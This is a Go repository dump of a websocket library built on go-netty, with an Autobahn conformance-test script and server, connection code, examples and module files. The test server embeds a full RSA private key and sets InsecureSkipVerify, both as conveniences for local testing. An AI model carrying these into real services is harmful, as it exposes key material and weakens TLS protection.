260 | Reports 261 | 262 | 263 | `)) 264 | 265 | func sortBySegment(s []string) { 266 | sort.Slice(s, func(i, j int) bool { 267 | return compareBySegment(s[i], s[j]) < 0 268 | }) 269 | } 270 | -------------------------------------------------------------------------------- /autobahn/script/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | 5 | mkdir -p ./autobahn/bin 6 | go build -o ./autobahn/bin/autobahn_server ./autobahn/server/ 7 | go build -o ./autobahn/bin/autobahn_reporter ./autobahn/reporter/ 8 | 9 | echo "pwd:" $(pwd) 10 | #./autobahn/bin/autobahn_server & 11 | 12 | rm -rf ${PWD}/autobahn/report/ 13 | mkdir -p ${PWD}/autobahn/report/ 14 | 15 | docker pull crossbario/autobahn-testsuite 16 | 17 | docker run -i --rm \ 18 | -v ${PWD}/autobahn/config:/config \ 19 | -v ${PWD}/autobahn/report:/report \ 20 | -v ${PWD}/autobahn/bin:/autobahn \ 21 | --name=autobahn \ 22 | crossbario/autobahn-testsuite \ 23 | /bin/bash -c "/autobahn/autobahn_server & wstest -m fuzzingclient -s /config/fuzzingclient.json" 24 | 25 | trap ctrl_c INT 26 | ctrl_c() { 27 | echo "SIGINT received; cleaning up" 28 | docker kill --signal INT "autobahn" >/dev/null 29 | rm -rf ${PWD}/autobahn/bin 30 | rm -rf ${PWD}/autobahn/report 31 | exit 130 32 | } 33 | 34 | ./autobahn/bin/autobahn_reporter ${PWD}/autobahn/report/index.json 35 | -------------------------------------------------------------------------------- /autobahn/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "compress/flate" 5 | "crypto/tls" 6 | "log" 7 | "net" 8 | "net/http" 9 | 10 | nettyws "github.com/uttersneaker/go-netty-ws" 11 | ) 12 | 13 | func main() { 14 | 15 | ws := nettyws.NewWebsocket( 16 | nettyws.WithBufferSize(16*1024, 0), 17 | nettyws.WithMaxFrameSize(32*1024*1024), 18 | nettyws.WithCompress(flate.BestSpeed, 512), 19 | nettyws.WithValidUTF8(), 20 | ) 21 | 22 | ws.OnOpen = func(conn nettyws.Conn) { 23 | log.Println("onopen = ", conn.RemoteAddr()) 24 | } 25 | 26 | ws.OnData = func(conn nettyws.Conn, data []byte) { 27 | conn.Write(data) 28 | } 29 | 30 | ws.OnClose = func(conn nettyws.Conn, err error) { 31 | log.Println("onerror = ", conn.RemoteAddr(), ", err = ", err) 32 | } 33 | 34 | mux := &http.ServeMux{} 35 | mux.HandleFunc("/connect", func(writer http.ResponseWriter, request *http.Request) { 36 | if _, err := ws.UpgradeHTTP(writer, request); nil != err { 37 | log.Println("UpgradeHTTP: ", err) 38 | } 39 | }) 40 | 41 | lnTCP, err := net.Listen("tcp", "127.0.0.1:3000") 42 | if err != nil { 43 | panic(err) 44 | } 45 | go func() { 46 | log.Println("non-tls server exit:", http.Serve(lnTCP, mux)) 47 | }() 48 | 49 | cert, err := tls.X509KeyPair(rsaCertPEM, rsaKeyPEM) 50 | if err != nil { 51 | log.Fatalf("tls.X509KeyPair failed: %v", err) 52 | } 53 | tlsConfig := &tls.Config{ 54 | Certificates: []tls.Certificate{cert}, 55 | InsecureSkipVerify: true, 56 | } 57 | lnTLS, err := tls.Listen("tcp", "127.0.0.1:3001", tlsConfig) 58 | if err != nil { 59 | panic(err) 60 | } 61 | log.Println("tls server exit:", http.Serve(lnTLS, mux)) 62 | } 63 | 64 | var rsaCertPEM = []byte(`-----BEGIN CERTIFICATE----- 65 | MIIDazCCAlOgAwIBAgIUJeohtgk8nnt8ofratXJg7kUJsI4wDQYJKoZIhvcNAQEL 66 | BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM 67 | GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMDEyMDcwODIyNThaFw0zMDEy 68 | MDUwODIyNThaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw 69 | HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB 70 | AQUAA4IBDwAwggEKAoIBAQCy+ZrIvwwiZv4bPmvKx/637ltZLwfgh3ouiEaTchGu 71 | IQltthkqINHxFBqqJg44TUGHWthlrq6moQuKnWNjIsEc6wSD1df43NWBLgdxbPP0 72 | x4tAH9pIJU7TQqbznjDBhzRbUjVXBIcn7bNknY2+5t784pPF9H1v7h8GqTWpNH9l 73 | cz/v+snoqm9HC+qlsFLa4A3X9l5v05F1uoBfUALlP6bWyjHAfctpiJkoB9Yw1TJa 74 | gpq7E50kfttwfKNkkAZIbib10HugkMoQJAs2EsGkje98druIl8IXmuvBIF6nZHuM 75 | lt3UIZjS9RwPPLXhRHt1P0mR7BoBcOjiHgtSEs7Wk+j7AgMBAAGjUzBRMB0GA1Ud 76 | DgQWBBQdheJv73XSOhgMQtkwdYPnfO02+TAfBgNVHSMEGDAWgBQdheJv73XSOhgM 77 | QtkwdYPnfO02+TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBf 78 | SKVNMdmBpD9m53kCrguo9iKQqmhnI0WLkpdWszc/vBgtpOE5ENOfHGAufHZve871 79 | 2fzTXrgR0TF6UZWsQOqCm5Oh3URsCdXWewVMKgJ3DCii6QJ0MnhSFt6+xZE9C6Hi 80 | WhcywgdR8t/JXKDam6miohW8Rum/IZo5HK9Jz/R9icKDGumcqoaPj/ONvY4EUwgB 81 | irKKB7YgFogBmCtgi30beLVkXgk0GEcAf19lHHtX2Pv/lh3m34li1C9eBm1ca3kk 82 | M2tcQtm1G89NROEjcG92cg+GX3GiWIjbI0jD1wnVy2LCOXMgOVbKfGfVKISFt0b1 83 | DNn00G8C6ttLoGU2snyk 84 | -----END CERTIFICATE----- 85 | `) 86 | 87 | var rsaKeyPEM = []byte(`-----BEGIN RSA PRIVATE KEY----- 88 | MIIEogIBAAKCAQEAsvmayL8MImb+Gz5rysf+t+5bWS8H4Id6LohGk3IRriEJbbYZ 89 | KiDR8RQaqiYOOE1Bh1rYZa6upqELip1jYyLBHOsEg9XX+NzVgS4HcWzz9MeLQB/a 90 | SCVO00Km854wwYc0W1I1VwSHJ+2zZJ2Nvube/OKTxfR9b+4fBqk1qTR/ZXM/7/rJ 91 | 6KpvRwvqpbBS2uAN1/Zeb9ORdbqAX1AC5T+m1soxwH3LaYiZKAfWMNUyWoKauxOd 92 | JH7bcHyjZJAGSG4m9dB7oJDKECQLNhLBpI3vfHa7iJfCF5rrwSBep2R7jJbd1CGY 93 | 0vUcDzy14UR7dT9JkewaAXDo4h4LUhLO1pPo+wIDAQABAoIBAF6yWwekrlL1k7Xu 94 | jTI6J7hCUesaS1yt0iQUzuLtFBXCPS7jjuUPgIXCUWl9wUBhAC8SDjWe+6IGzAiH 95 | xjKKDQuz/iuTVjbDAeTb6exF7b6yZieDswdBVjfJqHR2Wu3LEBTRpo9oQesKhkTS 96 | aFF97rZ3XCD9f/FdWOU5Wr8wm8edFK0zGsZ2N6r57yf1N6ocKlGBLBZ0v1Sc5ShV 97 | 1PVAxeephQvwL5DrOgkArnuAzwRXwJQG78L0aldWY2q6xABQZQb5+ml7H/kyytef 98 | i+uGo3jHKepVALHmdpCGr9Yv+yCElup+ekv6cPy8qcmMBqGMISL1i1FEONxLcKWp 99 | GEJi6QECgYEA3ZPGMdUm3f2spdHn3C+/+xskQpz6efiPYpnqFys2TZD7j5OOnpcP 100 | ftNokA5oEgETg9ExJQ8aOCykseDc/abHerYyGw6SQxmDbyBLmkZmp9O3iMv2N8Pb 101 | Nrn9kQKSr6LXZ3gXzlrDvvRoYUlfWuLSxF4b4PYifkA5AfsdiKkj+5sCgYEAzseF 102 | XDTRKHHJnzxZDDdHQcwA0G9agsNj64BGUEjsAGmDiDyqOZnIjDLRt0O2X3oiIE5S 103 | TXySSEiIkxjfErVJMumLaIwqVvlS4pYKdQo1dkM7Jbt8wKRQdleRXOPPN7msoEUk 104 | Ta9ZsftHVUknPqblz9Uthb5h+sRaxIaE1llqDiECgYATS4oHzuL6k9uT+Qpyzymt 105 | qThoIJljQ7TgxjxvVhD9gjGV2CikQM1Vov1JBigj4Toc0XuxGXaUC7cv0kAMSpi2 106 | Y+VLG+K6ux8J70sGHTlVRgeGfxRq2MBfLKUbGplBeDG/zeJs0tSW7VullSkblgL6 107 | nKNa3LQ2QEt2k7KHswryHwKBgENDxk8bY1q7wTHKiNEffk+aFD25q4DUHMH0JWti 108 | fVsY98+upFU+gG2S7oOmREJE0aser0lDl7Zp2fu34IEOdfRY4p+s0O0gB+Vrl5VB 109 | L+j7r9bzaX6lNQN6MvA7ryHahZxRQaD/xLbQHgFRXbHUyvdTyo4yQ1821qwNclLk 110 | HUrhAoGAUtjR3nPFR4TEHlpTSQQovS8QtGTnOi7s7EzzdPWmjHPATrdLhMA0ezPj 111 | Mr+u5TRncZBIzAZtButlh1AHnpN/qO3P0c0Rbdep3XBc/82JWO8qdb5QvAkxga3X 112 | BpA7MNLxiqss+rCbwf3NbWxEMiDQ2zRwVoafVFys7tjmv6t2Xck= 113 | -----END RSA PRIVATE KEY----- 114 | `) 115 | -------------------------------------------------------------------------------- /conn.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package nettyws 18 | 19 | import ( 20 | "bytes" 21 | "context" 22 | "net/http" 23 | "sync/atomic" 24 | "time" 25 | 26 | "github.com/go-netty/go-netty" 27 | "github.com/go-netty/go-netty/utils" 28 | "github.com/gobwas/ws/wsutil" 29 | ) 30 | 31 | // Conn is a websocket connection. 32 | type Conn interface { 33 | // Context returns the context of the connection. 34 | Context() context.Context 35 | // LocalAddr returns the local network address. 36 | LocalAddr() string 37 | // RemoteAddr returns the remote network address. 38 | RemoteAddr() string 39 | // Header returns the HTTP header on handshake request. 40 | Header() http.Header 41 | // Request returns the HTTP handshake request. 42 | Request() *http.Request 43 | // SetDeadline sets the read and write deadlines associated 44 | // with the connection. It is equivalent to calling both 45 | // SetReadDeadline and SetWriteDeadline. 46 | SetDeadline(t time.Time) error 47 | // SetReadDeadline sets the deadline for future Read calls 48 | // and any currently-blocked Read call. 49 | // A zero value for t means Read will not time out. 50 | SetReadDeadline(t time.Time) error 51 | // SetWriteDeadline sets the deadline for future Write calls 52 | // and any currently-blocked Write call. 53 | // Even if write times out, it may return n > 0, indicating that 54 | // some of the data was successfully written. 55 | // A zero value for t means Write will not time out. 56 | SetWriteDeadline(t time.Time) error 57 | // Write writes a message to the connection. 58 | Write(message []byte) error 59 | // WriteClose write websocket close frame with code and close reason. 60 | WriteClose(code int, reason string) error 61 | // Close closes the connection. 62 | Close() error 63 | // Userdata returns the user-data. 64 | Userdata() interface{} 65 | // SetUserdata sets the user-data. 66 | SetUserdata(userdata interface{}) 67 | } 68 | 69 | type wsc interface { 70 | WriteClose(code int, reason string) error 71 | } 72 | 73 | type wsh interface { 74 | Header() http.Header 75 | Request() *http.Request 76 | } 77 | 78 | type wsConn struct { 79 | ws *Websocket 80 | channel netty.Channel 81 | client bool 82 | userdata atomic.Value 83 | } 84 | 85 | // newConn create a websocket connection. 86 | func newConn(ws *Websocket, channel netty.Channel, client bool) Conn { 87 | return &wsConn{ws: ws, channel: channel, client: client} 88 | } 89 | 90 | // Context returns the context of the connection. 91 | func (c *wsConn) Context() context.Context { 92 | return c.channel.Context() 93 | } 94 | 95 | // LocalAddr returns the local network address. 96 | func (c *wsConn) LocalAddr() string { 97 | return c.channel.LocalAddr() 98 | } 99 | 100 | // RemoteAddr returns the remote network address. 101 | func (c *wsConn) RemoteAddr() string { 102 | return c.channel.RemoteAddr() 103 | } 104 | 105 | // Header returns the HTTP header on handshake request. 106 | func (c *wsConn) Header() http.Header { 107 | return c.channel.Transport().(wsh).Header() 108 | } 109 | 110 | // Request returns the HTTP handshake request. 111 | func (c *wsConn) Request() *http.Request { 112 | return c.channel.Transport().(wsh).Request() 113 | } 114 | 115 | // SetDeadline sets the read and write deadlines associated 116 | // with the connection. It is equivalent to calling both 117 | // SetReadDeadline and SetWriteDeadline. 118 | func (c *wsConn) SetDeadline(t time.Time) error { 119 | return c.channel.Transport().SetDeadline(t) 120 | } 121 | 122 | // SetReadDeadline sets the deadline for future Read calls 123 | // and any currently-blocked Read call. 124 | // A zero value for t means Read will not time out. 125 | func (c *wsConn) SetReadDeadline(t time.Time) error { 126 | return c.channel.Transport().SetReadDeadline(t) 127 | } 128 | 129 | // SetWriteDeadline sets the deadline for future Write calls 130 | // and any currently-blocked Write call. 131 | // Even if write times out, it may return n > 0, indicating that 132 | // some of the data was successfully written. 133 | // A zero value for t means Write will not time out. 134 | func (c *wsConn) SetWriteDeadline(t time.Time) error { 135 | return c.channel.Transport().SetWriteDeadline(t) 136 | } 137 | 138 | // Write writes a message to the connection. 139 | func (c *wsConn) Write(message []byte) error { 140 | _, err := c.channel.Write1(message) 141 | return err 142 | } 143 | 144 | // WriteClose write websocket close frame with code and close reason. 145 | func (c *wsConn) WriteClose(code int, reason string) error { 146 | return c.channel.Transport().(wsc).WriteClose(code, reason) 147 | } 148 | 149 | // Close closes the connection. 150 | func (c *wsConn) Close() error { 151 | c.channel.Close(nil) 152 | return nil 153 | } 154 | 155 | // Userdata returns the user-data. 156 | func (c *wsConn) Userdata() interface{} { 157 | return c.userdata.Load() 158 | } 159 | 160 | // SetUserdata sets the user-data. 161 | func (c *wsConn) SetUserdata(userdata interface{}) { 162 | c.userdata.Store(userdata) 163 | } 164 | 165 | func (c *wsConn) HandleActive(ctx netty.ActiveContext) { 166 | if onOpen := c.ws.OnOpen; nil != onOpen { 167 | onOpen(c) 168 | return 169 | } 170 | ctx.HandleActive() 171 | } 172 | 173 | func (c *wsConn) HandleRead(ctx netty.InboundContext, message netty.Message) { 174 | var reader = utils.MustToReader(message) 175 | var buffer = bytes.NewBuffer(make([]byte, 0, 1024)) 176 | 177 | for { 178 | // reset buffer 179 | buffer.Reset() 180 | 181 | // read message to buffer 182 | if _, err := buffer.ReadFrom(reader); nil != err { 183 | // interrupted network read loop 184 | panic(err) 185 | } 186 | 187 | // invoke OnData callback 188 | if onData := c.ws.OnData; onData != nil { 189 | onData(c, buffer.Bytes()) 190 | } 191 | 192 | // TODO: recreate large buffer for reduce memory usage 193 | // 194 | } 195 | } 196 | 197 | func (c *wsConn) HandleException(ctx netty.ExceptionContext, ex netty.Exception) { 198 | ctx.Close(ex) 199 | } 200 | 201 | func (c *wsConn) HandleInactive(ctx netty.InactiveContext, ex netty.Exception) { 202 | // covert error 203 | if closeErr, ok := ex.(wsutil.ClosedError); ok { 204 | ex = ClosedError{Code: int(closeErr.Code), Reason: closeErr.Reason} 205 | } 206 | 207 | if onClose := c.ws.OnClose; nil != onClose { 208 | onClose(c, ex) 209 | return 210 | } 211 | ctx.HandleInactive(ex) 212 | } 213 | -------------------------------------------------------------------------------- /engine.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package nettyws 18 | 19 | import ( 20 | "strconv" 21 | 22 | "github.com/go-netty/go-netty" 23 | "github.com/go-netty/go-netty-transport/websocket" 24 | ) 25 | 26 | // ClosedError returned when peer has closed the connection with appropriate 27 | // code and a textual reason. 28 | type ClosedError struct { 29 | Code int 30 | Reason string 31 | } 32 | 33 | // Error implements error interface. 34 | func (err ClosedError) Error() string { 35 | return "ws closed: " + strconv.FormatUint(uint64(err.Code), 10) + " " + err.Reason 36 | } 37 | 38 | // ErrServerClosed is returned by the Server call Shutdown or Close 39 | var ErrServerClosed = netty.ErrServerClosed 40 | 41 | var defaultEngine = netty.NewBootstrap( 42 | netty.WithTransport(websocket.New()), 43 | netty.WithChannel(netty.NewChannel()), 44 | netty.WithChannelHolder(nil), 45 | netty.WithClientInitializer(makeInitializer(true)), 46 | netty.WithChildInitializer(makeInitializer(false)), 47 | ) 48 | 49 | func makeInitializer(client bool) netty.ChannelInitializer { 50 | return func(channel netty.Channel) { 51 | ws := channel.Attachment().(*Websocket) 52 | channel.Pipeline(). 53 | AddLast(ws.holder). 54 | AddLast(newConn(ws, channel, client)) 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /example/client.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "fmt" 21 | "net/http" 22 | "time" 23 | 24 | nettyws "github.com/uttersneaker/go-netty-ws" 25 | ) 26 | 27 | func main() { 28 | 29 | header := http.Header{} 30 | header.Add("client-time", time.Now().String()) 31 | 32 | // create websocket instance 33 | var ws = nettyws.NewWebsocket(nettyws.WithClientHeader(header)) 34 | 35 | // setup OnOpen handler 36 | ws.OnOpen = func(conn nettyws.Conn) { 37 | fmt.Println("OnOpen: ", conn.RemoteAddr(), ", header: ", conn.Header()) 38 | conn.Write([]byte("hello world")) 39 | } 40 | 41 | // setup OnData handler 42 | ws.OnData = func(conn nettyws.Conn, data []byte) { 43 | fmt.Println("OnData: ", conn.RemoteAddr(), ", message: ", string(data)) 44 | } 45 | 46 | // setup OnClose handler 47 | ws.OnClose = func(conn nettyws.Conn, err error) { 48 | fmt.Println("OnClose: ", conn.RemoteAddr(), ", error: ", err) 49 | } 50 | 51 | fmt.Println("open websocket connection ...") 52 | 53 | // connect to websocket server 54 | if _, err := ws.Open("ws://127.0.0.1:9527/ws"); nil != err { 55 | panic(err) 56 | } 57 | 58 | select {} 59 | } 60 | -------------------------------------------------------------------------------- /example/echo.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | nettyws "github.com/uttersneaker/go-netty-ws" 21 | ) 22 | 23 | func main() { 24 | 25 | // tcpkali -c 1000 --connect-rate 500 -r 1000 -T 30s -f 1K.txt --ws 127.0.0.1:8000 26 | ws := nettyws.NewWebsocket() 27 | 28 | ws.OnData = func(conn nettyws.Conn, data []byte) { 29 | _ = conn.Write(data) 30 | } 31 | 32 | if err := ws.Listen(":8000"); nil != err { 33 | panic(err) 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /example/http-server.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "fmt" 21 | "net/http" 22 | 23 | nettyws "github.com/uttersneaker/go-netty-ws" 24 | ) 25 | 26 | func main() { 27 | 28 | // create websocket instance 29 | var ws = nettyws.NewWebsocket() 30 | 31 | // setup OnOpen handler 32 | ws.OnOpen = func(conn nettyws.Conn) { 33 | fmt.Println("OnOpen: ", conn.RemoteAddr()) 34 | } 35 | 36 | // setup OnData handler 37 | ws.OnData = func(conn nettyws.Conn, data []byte) { 38 | fmt.Println("OnData: ", conn.RemoteAddr(), ", message: ", string(data), ", header: ", conn.Header()) 39 | conn.Write(data) 40 | } 41 | 42 | // setup OnClose handler 43 | ws.OnClose = func(conn nettyws.Conn, err error) { 44 | fmt.Println("OnClose: ", conn.RemoteAddr(), ", error: ", err) 45 | } 46 | 47 | fmt.Println("upgrade websocket connections ....") 48 | 49 | // upgrade websocket connection from http server 50 | http.Handle("/ws", ws) 51 | 52 | // listen http server 53 | if err := http.ListenAndServe(":9527", nil); nil != err { 54 | panic(err) 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /example/server.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "fmt" 21 | "net/http" 22 | "time" 23 | 24 | nettyws "github.com/uttersneaker/go-netty-ws" 25 | ) 26 | 27 | func main() { 28 | header := http.Header{} 29 | header.Add("server-time", time.Now().String()) 30 | 31 | // create websocket instance 32 | var ws = nettyws.NewWebsocket(nettyws.WithServerHeader(header)) 33 | 34 | // setup OnOpen handler 35 | ws.OnOpen = func(conn nettyws.Conn) { 36 | fmt.Println("OnOpen: ", conn.RemoteAddr(), ", header: ", conn.Header()) 37 | } 38 | 39 | // setup OnData handler 40 | ws.OnData = func(conn nettyws.Conn, data []byte) { 41 | fmt.Println("OnData: ", conn.RemoteAddr(), ", message: ", string(data)) 42 | conn.Write(data) 43 | } 44 | 45 | // setup OnClose handler 46 | ws.OnClose = func(conn nettyws.Conn, err error) { 47 | fmt.Println("OnClose: ", conn.RemoteAddr(), ", error: ", err) 48 | } 49 | 50 | fmt.Println("listening websocket connections ....") 51 | // listen websocket server 52 | if err := ws.Listen("ws://127.0.0.1:9527/ws"); nil != err { 53 | panic(err) 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/uttersneaker/go-netty-ws 2 | 3 | go 1.22 4 | 5 | require ( 6 | github.com/go-netty/go-netty v1.6.6 7 | github.com/go-netty/go-netty-transport v1.7.12 8 | github.com/gobwas/ws v1.4.0 9 | ) 10 | 11 | require ( 12 | github.com/gobwas/httphead v0.1.0 // indirect 13 | github.com/gobwas/pool v0.2.1 // indirect 14 | golang.org/x/sys v0.26.0 // indirect 15 | ) 16 | 17 | //replace github.com/go-netty/go-netty => ../go-netty 18 | //replace github.com/go-netty/go-netty-transport => ../go-netty-transport 19 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/go-netty/go-netty v1.6.6 h1:vDAIBJRNhFB+/bElngsN4IIz4wYAmRoR11wlY8ruLMQ= 2 | github.com/go-netty/go-netty v1.6.6/go.mod h1:vSbL7RzFTO5bHXhxzZsAW0iStVz1qnenR90UVF6e1HA= 3 | github.com/go-netty/go-netty-transport v1.7.12 h1:mCequGVi+xxwpoiCwwFwa4KnT/njxXb5VqGX7GdzK54= 4 | github.com/go-netty/go-netty-transport v1.7.12/go.mod h1:lj+Q9cpwFMhK9nHYv7/yIfSt+YNIjY/VHuWdkRffFHI= 5 | github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= 6 | github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= 7 | github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= 8 | github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= 9 | github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= 10 | github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= 11 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 12 | golang.org/x/sys v0.26.0 h1:KHjCJyddX0LoSTb3J+vWpupP9p0oznkqVk/IfjymZbo= 13 | golang.org/x/sys v0.26.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 14 | -------------------------------------------------------------------------------- /holder.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package nettyws 18 | 19 | import ( 20 | "fmt" 21 | "sync" 22 | 23 | "github.com/go-netty/go-netty" 24 | ) 25 | 26 | // newChannelHolder create a new ChannelHolder with initial capacity 27 | func newChannelHolder(capacity int) netty.ChannelHolder { 28 | return &channelHolder{channels: make(map[int64]netty.Channel, capacity)} 29 | } 30 | 31 | type channelHolder struct { 32 | channels map[int64]netty.Channel 33 | mutex sync.Mutex 34 | } 35 | 36 | func (c *channelHolder) HandleActive(ctx netty.ActiveContext) { 37 | c.addChannel(ctx.Channel()) 38 | ctx.HandleActive() 39 | } 40 | 41 | func (c *channelHolder) HandleInactive(ctx netty.InactiveContext, ex netty.Exception) { 42 | c.delChannel(ctx.Channel()) 43 | ctx.HandleInactive(ex) 44 | } 45 | 46 | func (c *channelHolder) CloseAll(err error) { 47 | c.mutex.Lock() 48 | channels := c.channels 49 | c.channels = make(map[int64]netty.Channel, 1024) 50 | c.mutex.Unlock() 51 | 52 | // close reason 53 | wse, ok := err.(ClosedError) 54 | 55 | for _, ch := range channels { 56 | if ok { 57 | _ = ch.Transport().(wsc).WriteClose(wse.Code, wse.Reason) 58 | } 59 | ch.Close(err) 60 | } 61 | } 62 | 63 | func (c *channelHolder) addChannel(ch netty.Channel) { 64 | c.mutex.Lock() 65 | defer c.mutex.Unlock() 66 | 67 | id := ch.ID() 68 | if _, ok := c.channels[id]; ok { 69 | panic(fmt.Errorf("duplicate channel: %d", id)) 70 | } 71 | c.channels[id] = ch 72 | } 73 | 74 | func (c *channelHolder) delChannel(ch netty.Channel) { 75 | c.mutex.Lock() 76 | defer c.mutex.Unlock() 77 | 78 | delete(c.channels, ch.ID()) 79 | } 80 | -------------------------------------------------------------------------------- /nettyws.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2023 the go-netty project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package nettyws 18 | 19 | import ( 20 | "context" 21 | "errors" 22 | "fmt" 23 | "net/http" 24 | "sync" 25 | 26 | "github.com/go-netty/go-netty" 27 | "github.com/go-netty/go-netty-transport/websocket" 28 | "github.com/go-netty/go-netty/transport" 29 | ) 30 | 31 | type OnOpenFunc func(conn Conn) 32 | type OnDataFunc func(conn Conn, data []byte) 33 | type OnCloseFunc func(conn Conn, err error) 34 | 35 | type Websocket struct { 36 | engine netty.Bootstrap 37 | holder netty.ChannelHolder 38 | options *websocket.Options 39 | ctx context.Context 40 | cancel context.CancelFunc 41 | listeners sync.Map // map 42 | upgrader websocket.HTTPUpgrader 43 | 44 | OnOpen OnOpenFunc 45 | OnData OnDataFunc 46 | OnClose OnCloseFunc 47 | } 48 | 49 | // NewWebsocket create websocket instance with options 50 | func NewWebsocket(options ...Option) *Websocket { 51 | opts := parseOptions(options...) 52 | 53 | ws := &Websocket{} 